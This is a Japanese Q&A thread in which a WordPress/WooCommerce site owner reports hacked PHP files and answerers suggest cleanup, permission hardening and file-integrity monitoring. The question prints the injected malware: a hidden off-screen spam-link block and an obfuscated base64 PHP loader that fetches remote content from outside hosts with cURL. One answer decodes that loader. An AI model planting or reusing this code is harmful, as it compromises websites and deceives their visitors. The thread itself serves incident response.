web-dev-qa-db-ja.com

ハッキングされたWordPress Webサイトで発見された悪意のあるコードの追加を防ぐ方法?

WordPressを使用して作成されたWebサイトを持ち、カートプラグインとしてWooCommerceを使用しています。最近、HTMLコードでAJAXリクエストに応答したため、ハッキングされたことがわかりました。 、応答としてJSONオブジェクトを受信する必要があります。ソースファイルを確認したところ、ファイルは置き換えられませんでしたが、次の4つのphpファイル内の末尾に異常なコードが追加されていることがわかりました。

  • ルートディレクトリのwp-blog-header.php
  • wp-includesディレクトリにあるbookmark.php
  • テーマディレクトリのheader.phpおよびfooter.php

以下は私が見つけたコードです。

echo '<html>
<div style=\'left: -3565px; position: absolute; top: -4812px\'>
<a href="http://pdfagent.info/Youth-Soccer-Jerseys-Wholesale.html">Youth Soccer Jerseys Wholesale</a> 
<a href="http://ryanarnoldrocks.com/Buy-NFL-Jerseys-Wholesale.html">Buy NFL Jerseys Wholesale</a> 
<a href="http://bodywrapsofplano.com/Cheap-Raider-Jerseys.html">Cheap Raider Jerseys</a> 
<a href="http://mobilfotosplus.com/Coach-Canada-Stores-Online.html">Coach Canada Stores Online</a> 
<a href="http://www.officialauthenticcoltsshop.com/Super-Bowl-Andrew-Luck-Jersey">Womens Andrew Luck Limited Super Bowl Jersey</a> 
<a href="http://picklex20.com/Jerseys-For-Cheap.html">Jerseys For Cheap</a> 
<a href="http://sevyamultimedia.com/Cheap-Youth-Soccer-Jerseys.html">Cheap Youth Soccer Jerseys</a> 
<a href="http://www.rdbutlerlaw.com/Cycling-Jerseys-Cheap.html">Cycling Jerseys Cheap</a> 
<a href="http://www.patriotsauthenticofficialonline.com/Super-Bowl-Rob-Gronkowski-Jersey">Kids Rob Gronkowski Pink Jersey</a> 
<a href="http://www.suehenry.biz/Coach-Handbags-Marketing-Strategy.html">Coach Handbags Marketing Strategy</a> 
<a href="http://seo-toronto.net/Coach-Purses-Numbers.html">Coach Purses Numbers</a> 
<a href="http://wegototheo.com/Wholesale-Baseball-Jerseys.html">Wholesale Baseball Jerseys</a> 
<a href="http://www.seahawksofficialonlinestore.com/Super-Bowl-Bobby-Wagner-Jersey">Youth Bobby Wagner Seahawks Jersey</a> 
<a href="http://kitf.org/Coach-Glasses-Outlet.html">Coach Glasses Outlet</a> 
<a href="http://www.nflpackersofficialstore.com/Super-Bowl-Randall-Cobb-Jersey">Randall Cobb Navy Super Bowl Jersey</a> 
<a href="http://rncsolutions.com/Cheap-Hockey-Jerseys-China.html">Cheap Hockey Jerseys China</a> 
<a href="http://www.qualityhomeservices.com/Coach-Factory-Kenosha-Wi.html">Coach Factory Kenosha Wi</a> 
<a href="http://www.proland.com/Wholesale-Hockey-Jerseys.html">Wholesale Hockey Jerseys</a> 
<a href="http://www.tamarinent.com/Buy-Jerseys-Cheap.html">Buy Jerseys Cheap</a> 
<a href="http://www.masterthedashdiet.com/Cheap-Dallas-Stars-Jerseys.html">Cheap Dallas Stars Jerseys</a> 
<a href="http://www.pappasdelaney.com/Cheap-Kids-NFL-Jerseys.html">Cheap Kids NFL Jerseys</a> 
<a href="http://pourlespme.com/Cheap-Baseball-Jerseys-From-China.html">Cheap Baseball Jerseys From China</a> 
<a href="http://studiovideo.com/Coach-Factory-National-Harbor.html">Coach Factory National Harbor</a> 
</div></html>'; 

そして、私はワードプレスではない次のコードを見つけました。

function q0($h1){$w2=curl_init();curl_setopt($w2,CURLOPT_URL,$h1);curl_setopt($w2,CURLOPT_RETURNTRANSFER,TRUE);$i3=curl_exec($w2);return $i3;}$h1=base64_decode('aHR0cDovL3d3dy5ncmVlbmhlYXJ0dWFlLmNvbS93cC1pbmNsdWRlcy9saWNlbnNlLnR4dA==');$d4=file_get_contents(base64_decode('aHR0cDovL2lwLm11c2VvdmlydHVhbGUubmV0L2NnaS1iaW4vaXBjaGVjay5jZ2k/aXA9').$_SERVER[base64_decode('UkVNT1RFX0FERFI=')]);if($_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]==base64_decode('Lw==') ||$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]==base64_decode('L2luZGV4LnBocA==')){if($d4){if($d4==base64_decode('ZmFsc2U=') or $d4==base64_decode('Zm9yYmlkZGVu') or $d4==base64_decode('Rm9yYmlkZGVu')){echo '';}else{echo file_get_contents($h1);exit;}}else{$d4=q0(base64_decode('aHR0cDovL2lwLm11c2VvdmlydHVhbGUubmV0L2NnaS1iaW4vaXBjaGVjay5jZ2k/aXA9').$_SERVER[base64_decode('UkVNT1RFX0FERFI=')]);if($d4==base64_decode('ZmFsc2U=') or $d4==base64_decode('Zm9yYmlkZGVu') or $d4==base64_decode('Rm9yYmlkZGVu')){echo '';}else{echo q0($h1);exit;}}}

これらのファイルをクリーンアップし、wp-admin、cPanel、FTPのパスワードを変更しましたが、上記のコードはこれらのファイルに表示されましたが、今回は異なるリンクが表示されました。

ソースファイルを悪用するスクリプトがサーバー内にあるかどうか、私はまだ理解しようとしています。

これを防ぐために使用する必要があるプラグインまたは何かがありますか?

6
Shehan Thamel

あなたのサイトに配置されたコードが画面のdivにリンクを明確に配置しているという事実は、これがプラグインの1つにある可能性が最も高い脆弱性を悪用しているSEO詐欺師の仕事であると私に信じさせますまたはおそらくあなたのコメント設定で。長期間更新されていないプラグインがある場合は、探し始めるのに適している可能性があります。

核となるオプションの少しは、WordPressおよびカスタマイズしていないすべてのプラグインの新しいコピーをダウンロードすることです。さらに、カスタマイズしたすべてのもの(テーマを含む)のクリーンなコピーが必要になります。とカスタムプラグイン)データベースの自動バックアップがあるといいので、それも復元する必要があるでしょう。

サイト全体のクリーンバージョンがあると確信したら、サイトを削除してクリーンバージョンをアップロードするためのダウンタイムを選択する必要があります。クリーンバージョンをアップロードするだけでは、どこかに隠れている可能性のある余分なファイルが上書きされないため、サイトを削除すると言います。

インターネット接続(およびサイトのサイズ)によっては、これを比較的迅速に行うことができます。

アップロードされた画像(など)の大規模なアーカイブがある場合、バックアップの対象となる可能性が最も低いサイトであるため、この核オプションの最も煩わしい部分をもたらします。アップロードをそのままにして、悪意のあるファイルがそこにないことを希望することもできます。アップロード以外のすべての処理を実行し、問題が解決しない場合は、問題をそのフォルダーに特定している可能性がありますが、それが最もありそうな場所ではありません。

もちろん、すべての管理者パスワードも変更する必要があります(ユーザーの数はわかりませんが、すべてのユーザーに適用する必要がある場合があります)。

結局のところ、まだパッチが適用されていないプラグインの1つに脆弱性が存在する可能性があるため、サイト全体を核にする/再構築することは保証されません。

編集:

これは、読み取り可能にデコードしてインデントした後に投稿した関数です

function q0($h1)
{
    $w2=curl_init();
    curl_setopt($w2,CURLOPT_URL,$h1);
    curl_setopt($w2,CURLOPT_RETURNTRANSFER,TRUE);
    $i3=curl_exec($w2);
    return $i3;
}
$h1=http://www.greenheartuae.com/wp-includes/license.txt;
$d4=file_get_contents('http://ip.museovirtuale.net/cgi-bin/ipcheck.cgi?ip='.$_SERVER['REMOTE_ADDR']);
if($_SERVER['REQUEST_URI']=='/' ||$_SERVER['REQUEST_URI']=='/index.php')
{
    if($d4)
    {
        if($d4==false or $d4=='forbidden' or $d4=='Forbidden')
        {
            echo '';
        }
        else
        {
            echo file_get_contents($h1);
            exit;
        }
    }
    else
    {
        $d4=q0('http://ip.museovirtuale.net/cgi-bin/ipcheck.cgi?ip='.$_SERVER['REMOTE_ADDR']);
        if($d4==false or $d4=='forbidden' or $d4=='Forbidden')
        {
            echo '';
        }
        else
        {
            echo q0($h1);
            exit;
        }
    }
}

ご覧のとおり、cURLを使用して別のサーバーからデータを取得しています。ほとんどの場合、データは表示されているリンクであり、そのためリンクが変更される可能性があります。リンクの性質から、これはリンクバックを探すSEO詐欺師の仕事であるという私の当初の想定に戻ります(ただし、それでも他の何かの策略になる可能性はあります)。また、リンク先のWebアドレスも確認できます。サイトの1つは別のサイトであるようですWordPressサイトですが、他のサイトは私のアンチウイルスに引っ掛かっており、明らかに悪いニュースです。

2
KnightHawk

このアクションが何をしたのかを理解するのに役立つことはありませんが、Webサーバー(おそらくPHP)から送信されていると推測できます。

読み取り専用のchmodを実行してこれらのファイルを変更から保護し、Webサーバーユーザーではないユーザーに割り当てることで、これらのファイルを保護できます。

たとえば、Linuxボックスでは、次のようなことができます。

chown root:root *.php
chmod 644 *.php

これにより、ハッカーがWebサーバーからこれらのファイルを変更するのを防ぎ、問題の調査中に一時的な保護として使用できます。

0
blue112

あなたがしたいことは、ファイルがシステム上で変更されているかどうかを確認する方法を見つけることです。これを行うには、1。tripwireのようなファイル整合性モニター、2。カーネルにフックされているauditdのようなプロセス、または3.その他のいずれかを介して、ファイルの整合性をタイムリーにチェックするプロセスが必要です。ここでは、従来の方法のいずれにも似ていないプロセス。

変更後は、Webやその他の方法以外の方法によるものである場合、どのユーザーがそれを行ったのかを見つけるという不可解なタスクがあります。

0
munchkin